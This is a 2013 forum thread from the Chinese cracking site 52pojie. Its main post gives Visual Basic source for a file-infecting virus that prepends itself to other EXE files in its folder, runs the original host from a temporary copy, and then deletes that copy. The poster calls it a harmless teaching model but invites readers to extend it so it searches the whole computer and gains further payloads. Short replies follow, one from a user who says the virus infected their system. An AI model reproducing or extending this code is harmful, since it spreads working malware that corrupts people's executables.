吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 13526|回复: 17
收起左侧

[分享] 感染EXE程序病毒源码

[复制链接]
xglys 发表于 2013-4-22 22:08
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 xglys 于 2013-4-22 22:10 编辑



Option Explicit
Private Victim As String '要感染的文件的名字
Private HostLen As Long '要感染的文件的大小
Private vbArray() As Byte '病毒的代码
Private hArray() As Byte '要感染的文件的代码
Private lenght As Long
Private MySize As Integer '病毒的大小

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Private Sub form_Initialize()
Dim i As Long
On Error GoTo vbVerror '出错处理

& #39;原理:将生成病毒文件的代码读出,粘在要被感染的文件的后面。
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
As #1
ReDim MyArray(LOF(1) - 1)
MySize = LOF(1)
ReDim vbArray(MySize)
Get #1, 1, vbArray
Close #1
& #39;这是在读自己的代码


Victim = Dir(App.Path & "\" & "*.EXE") '随便选一个文件(目前只是在病毒所在的目录下随机选一个,将来你可以修改,让它不断的循环搜索计算机上的所有文件。)
While Victim <> ""

If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
Open App.Path & "\" & Victim For Binary Access Read As #1
ReDim hArray(LOF(1))
Get #1, 1, hArray
Close #1
& #39;读出病毒自身的代码


If hArray(&H69) <> &H4D Then

i = hArray(&H3C)
If hArray(i) = &H50 Then
Open App.Path & "\" & Victim For Binary Access Write As #1
Put #1, , vbArray
Put #1, MySize, hArray
Close #1
End If &#39;要保证被感染的不是空文件(不是圈套)
End If
End If
& #39;读出准备被感染的文件的代码

Victim = Dir() &#39;Next

Wend

& #39;下面的工作是为了保证病毒不会重复感染一个文件,也不会自我感染。

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
lenght = LOF(1) - MySize
If lenght <> 0 Then
ReDim vbArray(lenght - 1)
Get #1, MySize, vbArray
Close #1

Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
Put #1, , vbArray
Close #1


idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill App.Path & "\" & App.EXEName & ".eve"

Else
Close #1

End If

End

vbVerror: &#39;出错处理,空着就可以了

End Sub









还有其他的说明:
1、本代码目前仅是实验模型,给新手讲解原理之用,不会失控,绝对安全。
2、本代码仅实现了感染EXE的功能,其他的功能还须你自己加入。
3、为了目前的安全,本病毒只是在病毒所在的目录下随机选一个文件感染,你可以利用此功能来调试;将来你可以修改,让它不断的循环搜索计算机上的所有文件。
4、最重要的:不要搞恶意破坏,否则真进了监狱后果自负!

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

混小子 发表于 2013-4-22 22:26
这是什么语言,似乎没见过,VB?
bansjs 发表于 2013-4-22 22:50
fulihua 发表于 2013-4-23 00:23
willJ 发表于 2013-4-23 09:35
这是什么语言?这么短小就感染了?
师兄 发表于 2013-4-23 10:47
这个是………………
狩||猎||者 发表于 2013-6-1 21:50
VB感染源代码,是不....
wuaixuexi 发表于 2013-7-18 00:09
深受其害 中过这个病毒 感染了本机所以EXE程序 杀都杀不干净,系统做完 还有
lockeyou 发表于 2013-7-18 15:22
注册这么长时间才发现有这个模块
暂时看不懂,只能多看几次了
wolong810825 发表于 2013-8-13 14:33
各种幼稚啊,各种娱乐啊。。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-1 03:54

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表